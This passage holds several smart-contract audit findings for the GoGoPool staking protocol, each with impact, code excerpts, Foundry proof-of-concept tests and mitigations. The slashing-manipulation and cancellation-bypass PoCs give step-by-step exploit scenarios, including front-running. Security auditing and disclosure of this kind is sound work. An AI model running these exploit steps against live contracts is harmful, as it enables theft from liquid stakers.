		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Withdrawable));
----------
		emit MinipoolStatusChanged(nodeID, MinipoolStatus.Withdrawable);
	}

The protocol has setup a transition between the following states:

• Withdrawable to Prelaunch. This transition was intended to be used by rialto to allow calling recordStakingEnd and after recreateMinipool.
• Withdrawable to Finished . This transition was intended to allow node operators to finish the minipool and get their funds https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164

	function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view {
		bytes32 statusKey = keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status"));
		MinipoolStatus currentStatus = MinipoolStatus(getUint(statusKey));
----------
		} else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
			isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
----------
	}

A NodeOp can stop the long term staking by calling either one of the bellow function before recreateMinipool is called:

• createMinipool and then immediately call cancelMinipool without waiting 5 days (See bug #211 "Anti griefing mechanism can be bypassed")
• withdrawMinipoolFunds

Tools Used

VS Code

Recommended Mitigation Steps

It is already planned by the sponsor to call recordStakingEnd and recreateMinipool in the same transaction, this will block the NodeOp from calling any function in between.

If the protocol decides to call the above functions in separate transaction, make sure to add a flag indicating that the minipool staking will not end in the next cycle and add a check in withdrawMinipoolFunds and createMinipool to revert if the flag is true. require(StakingInProgress == true, "Long term staking still in progress");

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

Vulnerability details

Impact

The protocol has setup a mechanism of delaying cancelations of minipools by 5 days to prevent griefing. More info from the protocol docs can be found here: https://docs.gogopool.com/design/minipooldesign#canceled

If a node operator already has an active node for more then 5 days, any additional nodes will be able to cancel the minipool instantaneously after creation. Therefore bypassing the anti griefing mechanism.

Proof of Concept

When creating a minipool, rewardsStartTime is set to track the minipool creation only if its not already set to a non-zero value: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L226

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
---------
		if (staking.getRewardsStartTime(msg.sender) == 0) {
			staking.setRewardsStartTime(msg.sender, block.timestamp);
		}
---------
	}

In order to cancel a minipool cancelMinipool needs to be called: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L273

	function cancelMinipool(address nodeID) external nonReentrant {
------
		if (block.timestamp - staking.getRewardsStartTime(msg.sender) < dao.getMinipoolCancelMoratoriumSeconds()) {
			revert CancellationTooEarly();
		}
		_cancelMinipoolAndReturnFunds(nodeID, index);
	}

• rewardsStartTime - timestamp of first minipool creation of the node operator
• dao.getMinipoolCancelMoratoriumSeconds - amount of time in seconds a node operator needs to wait before canceling the minipool. Currently set to 5 days.

As can be seen above, if the time since starting the minipool is less than dao.getMinipoolCancelMoratoriumSeconds the transaction will revert.

The function getRewardsStartTime(addr) is not nodeID specific, it is address specific. If the same msg.sender has an active node that has not been withdrawn yet, the msg.sender will be able to create and cancel a minipool without waiting 5 days.

Foundry POC

The POC shows how a node operator can cancel a minipool right after creation.

Add the following test to MinipoolManager.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testGriefingPossible() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint128 ggpStakeAmt = 200 ether;

		// fund ggAVAX
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);
		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		vm.startPrank(nodeOp);
		// NodeOp stakes GGP
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);

		// Create first minipool for nodeOp
		MinipoolManager.Minipool memory nodeOpMp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		skip(5 days); // skip 5 days

		// Create second minipool for nodeOp
		MinipoolManager.Minipool memory nodeOpMp2 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		// cancel second minipool right away without waiting 5 days
		minipoolMgr.cancelMinipool(nodeOpMp2.nodeID);

		vm.stopPrank();
	}

To run the POC, execute:

forge test -m testGriefingPossible -v

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testGriefingPossible() (gas: 1418501)
Test result: ok. 1 passed; 0 failed; finished in 8.71s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

staking.getRewardsStartTime(addr) and staking.setRewardsStartTime(addr) should also be nodeID specific. Recommended change to: staking.getRewardsStartTime(addr, nodeID) and staking.setRewardsStartTime(addr, nodeID)

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L257

Vulnerability details

Impact

Node validators can manipulate the slashing mechanism to slash only 0.000003170979198376 AVAX (0.00003691 USD) from GGP stake.

A hacker can create multiple nodes and use all the ggAVAX liquidity without actually finishing the validation period. Liquid stakers will not be compensated for the loss.

Hacker will pay less then 1 dollar of GGP.

Proof of Concept

When minipools are created/updated through createMinipool there is no check that the duration specified by the node operator is less then the minimum required validation period (14 days). https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L196

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
---------
		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration);
---------
	}

When no rewards are received after the validation period, slash is called to slash staked GGP for compensation of the ggAVAX liquid stakers. slash: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670

	function slash(int256 index) private {
----------
		uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration")));
		uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt")));
		uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt);
		uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
----------
		staking.slashGGP(owner, slashGGPAmt);
	}

As can be seen above, the duration set by the node operator is used together with the avaxLiquidStakerAmt (1000 AVAX) to calculate the expected amount of rewards in order to slash proportionately.

The rewards amount is calculated in getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt): https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L557

	function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) {
		ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
		uint256 rate = dao.getExpectedAVAXRewardsRate();
		return (avaxAmt.mulWadDown(rate) * duration) / 365 days;
	}

The rate is set to 0.1 AVAX in the initialization of the dao: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ProtocolDAO.sol#L51

Therefore, if the node operator sets 1 as duration the function getExpectedAVAXRewardsAmt will return 3170979198376 WEI of AVAX.

Consider the following scenario:

1. NodeOp creates legitimate minipool (Node-1111) and 5 days pass
2. NodeOp creates fake minipool (Node-2222)
3. rialto calls claimAndInitiateStaking to launch the minipool (Node-2222)
4. NodeOp front-runs the call to claimAndInitiateStaking and: 4.1 NodeOp calls cancelMinipool - This is possible without waiting 5 days because of step #1 (See other submitted bug #211: "Anti griefing mechanism can be bypassed"). It is also possible to execute this step without the bug by waiting 5 days. 4.2 NodeOp calls createMinipool with duration set to 1
5. claimAndInitiateStaking gets executed and staked.
6. recordStakingEnd will be called which will call the slash function as no rewards are set.
7. Only 0.000003170979198376 AVAX of rewards would be slashed

Foundry POC

The POC will demonstrate the above scenario

Add the following test to MinipoolManager.t.sol https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testManipulateSlashing() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;

		// Create a legitimate node
		dealGGP(nodeOp, ggpStakeAmt);
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp0 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		skip(5);

		// Fund the ggAVAX
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		// Create a fake minipool
		dealGGP(nodeOp, ggpStakeAmt);
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		// Front run claimAndInitiateStaking and call `cancelMinipool` and `createMinipool` with 
		minipoolMgr.cancelMinipool(mp1.nodeID);
		minipoolMgr.createMinipool{value: depositAmt}(mp1.nodeID, 1, 0.02 ether, avaxAssignmentRequest);
		vm.stopPrank();

		// claimAndInitiateStaking is executed and staking is recorded 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
		minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid"), block.timestamp);

		// Staking has ended with no rewards, slashing happens here
		skip(duration);
		minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
		vm.stopPrank();

		// Validate that only 0.000003170979198376 AVAX is slashed
		assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(1, avaxAssignmentRequest), 0.000003170979198376 ether);
		assertEq(staking.getGGPStake(nodeOp), (ggpStakeAmt*2) - 0.000003170979198376 ether);
	}

To run the POC, execute:

forge test -m testManipulateSlashing -v

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testManipulateSlashing() (gas: 1981662)
Test result: ok. 1 passed; 0 failed; finished in 7.08ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

In createMinipool set a minimum requirement of duration to 14 days. Additionally, if a NodeID already exists in createMinipool, make sure the duration is not changed. If a node operator wishes to change the duration of his NodeID, he should generate a new NodeID.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L88

Vulnerability details

Impact

Depositors need to wait double the rewardsCycle to start to receive streaming rewards (28 days) and 42 days to see full rewards for a specific stake.

This is true if one of the following is true:

1. Early depositors (syncRewards was never called).
2. No one called syncRewards after a full cycle has passed.
3. Rewards distributed after syncRewards

Proof of Concept

ggAVAX is intended to stream rewards to depositors. Currently, the rewards cycle is set to 14 days. Depositors will expect to start receiving rewards 14 days after depositing. (assuming a validator can use their funds to stake)

The issue is that syncRewards can be called by anyone and updates the cycle even if no rewards were added. Note that rewardsCycleEnd is not really 14 days. It can be anywhere between 0-14 days, depending on the timestamp when calling syncRewards.

The calculations of rewardsCycleEnd is as follows: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L102

	function syncRewards() public {
----
		uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength;
-----
	}

Day 1:

1. Bob deposits 2000 AVAX to ggAVAX
2. Bobs deposit is used for staking

Day 14:

1. Malicious actor/normal user syncs rewards
2. Rialto deposits rewards

Day 15:

1. Bob cannot withdraw rewards

Day 28:

1. Bob can withdraw rewards

Foundry POC

The POC will demonstrate the above scenario.

Add the following to TokenggAVAX.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108

	function testRewardsAfter28Days() public {
		uint256 depositAmount = 2000 ether;
		uint256 totalStakedAmount = 2000 ether;
		uint256 rewardsAmount = 100 ether;

		// Bob deposits 2000 AVAX
		vm.deal(bob, depositAmount);
		vm.prank(bob);
		ggAVAX.depositAVAX{value: depositAmount}();

		// 1000 tokens are withdrawn for staking
		vm.prank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(nodeID);

		// staking starts
		vm.deal(address(rialto), address(rialto).balance + rewardsAmount);
		vm.startPrank(address(rialto));
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp);
		int256 idx = minipoolMgr.getIndexOf(nodeID);
		MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(idx);
		uint256 endTime = block.timestamp + mp.duration;
		vm.stopPrank();

		// skip 14 days
		skip(14 days);

		// syncRewards is called
		ggAVAX.syncRewards();

		// after 14 days, AVAX + rewards is returned to ggAVAX
		vm.prank(address(rialto));
		minipoolMgr.recordStakingEnd{value: totalStakedAmount + rewardsAmount}(nodeID, endTime, rewardsAmount);


		// Bobs max withdraw after 15 days is without rewards
		skip(1 days);
		uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob);
		assertEq(maxWithdrawAssets, depositAmount);

		// skip to day 28 days and call sync rewards
		skip(13 days);
		ggAVAX.syncRewards();
		//skip 12 seconds to see rewards streaming
		skip(12);

		// Bobs max withdraw after 28 days is with rewards
		maxWithdrawAssets = ggAVAX.maxWithdraw(bob);
		assertTrue(maxWithdrawAssets > depositAmount); 
	}

To run the POC execute:

forge test -m testRewardsAfter28Days  -v

Expected output:

Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest
[PASS] testRewardsAfter28Days() (gas: 654998)
Test result: ok. 1 passed; 0 failed; finished in 7.97s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Rewards cycle should not be updated if no rewards exists. Add a check to validate that lastRewardsAmt_ != nextRewardsAmt and revert if they are the same. Example:

	require(lastRewardsAmt_ != nextRewardsAmt, "Nothing to update");

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L241

Vulnerability details

Impact

Users depositing into ggAVAX are not able to withdraw all their funds and rewards until rewards are synced and accounting is updated. The funds are frozen even if funds reside in the pool.

(Note: This behavior is dependent on the value of totalReleasedAssets to be less then the amount returned in totalAssets)

Proof of Concept

When a user wants to withdraw his funds and rewards, beforeWithdraw function is called. https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L241

	function beforeWithdraw(
		uint256 amount,
		uint256 /* shares */
	) internal override {
		totalReleasedAssets -= amount;
	}

As can be seen above amount is reduced from totalReleasedAssets. If amount is larger than totalReleasedAssets the transaction will revert and the user will not be able to withdraw.

The amount can be larger than totalReleasedAssets. Here is an example:

• When a user wants to withdraw all their assets, maxWithdraw is called to calculate the amount of withdrawable assets.
• maxWithdraw uses convertToAssets to convert shares to assets. The conversion is done by using totalAssets().
• totalAssets() returns the current totalReleasedAssets plus rewards earned from previous rewards cycle.
• The amount will be larger than totalReleasedAssets.

totalAssets(): https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L113

	function totalAssets() public view override returns (uint256) {
-----
		return totalReleasedAssets_ + unlockedRewards;
	}

The user has to wait until totalReleasedAssets is updated to include the rewards in the next syncRewards (14 days).

syncRewards: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L107

	function syncRewards() public {
		uint32 timestamp = block.timestamp.safeCastTo32();

		if (timestamp < rewardsCycleEnd) {
			revert SyncError();
		}

------
		totalReleasedAssets = totalReleasedAssets_ + lastRewardsAmt_;
		emit NewRewardsCycle(nextRewardsCycleEnd, nextRewardsAmt);
	}

Consider the following scenario:

1. Bob deposits 2000 AVAX to ggAVAX.
2. 1000 AVAX are taken for Alices stake.
3. after 14 days, validator exits, rewards and AVAX are returned to ggAVAX.
4. syncRewards is called to distribute the rewards.
5. 1 day later Bob withdraws with rewards (2000 AVAX + rewards). 5.1. totalReleasedAssets is not updated with rewards because current cycle did not end. 5.2. Bobs withdraw is reverted due to underflow in beforeWithdraw.
6. Bob has to wait additional 13 days until syncRewards is called again to update totalReleasedAssets with rewards contract.

Consider the following scenario:

1. Bob deposits 2000 AVAX to ggAVAX.
2. 1000 AVAX are taken for Alices stake.
3. after 14 days, validator exit, rewards and AVAX are returned to ggAVAX.
4. syncRewards is called to distribute the rewards (100 AVAX)
5. 1 day later: 5.1. Chuck deposits 100 AVAX to ggAVAX. 5.2. Bob withdraws 2100 AVAX.
6. Chuck cannot withdraw although his funds were not used for staking and they exist in the contract.
7. Chuck has to wait 13 days until syncRewards function is called again.

Foundry POC

The POC will demonstrate the first scenario mentioned above

Add the following to TokenggAVAX.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108

function testUnderflowRevert() public {
		uint256 depositAmount = 2000 ether;
		uint256 totalStakedAmount = 2000 ether;
		uint256 rewardsAmount = 100 ether;

		// Bob deposits 2000 AVAX
		vm.deal(bob, depositAmount);
		vm.prank(bob);
		ggAVAX.depositAVAX{value: depositAmount}();

		// 1000 tokens are withdrawn for staking
		vm.prank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(nodeID);

		// after 14 days, AVAX + rewards is returned to ggAVAX
		vm.deal(address(rialto), address(rialto).balance + rewardsAmount);
		vm.startPrank(address(rialto));
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp);
		int256 idx = minipoolMgr.getIndexOf(nodeID);
		MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(idx);
		uint256 endTime = block.timestamp + mp.duration;
		skip(mp.duration);
		minipoolMgr.recordStakingEnd{value: totalStakedAmount + rewardsAmount}(nodeID, endTime, rewardsAmount);
		vm.stopPrank();

		// Sync rewards to start streaming rewards
		ggAVAX.syncRewards();

		// Skip 1 day
		skip(1 days);

		// Bob withdraws all his assets including earned rewards
		// Validate that the transaction will revert
		uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob);
		vm.startPrank(bob);
		vm.expectRevert();
		ggAVAX.withdrawAVAX(maxWithdrawAssets);
		vm.stopPrank();
	}

To run the POC execute:

forge test -m testUnderflowRevert  -v

Expected output:

Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest
[PASS] testUnderflowRevert() (gas: 649787)
Test result: ok. 1 passed; 0 failed; finished in 7.98s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

In beforeWithdraw check if the amount to withdraw is larger than totalReleasedAssets. If so, update totalReleasedAssets to include the last rewards. Additionally, it is possible to cap the amount returned in maxWithdraw to totalReleasedAssets if totalReleasedAssets is smaller then the assets of the user.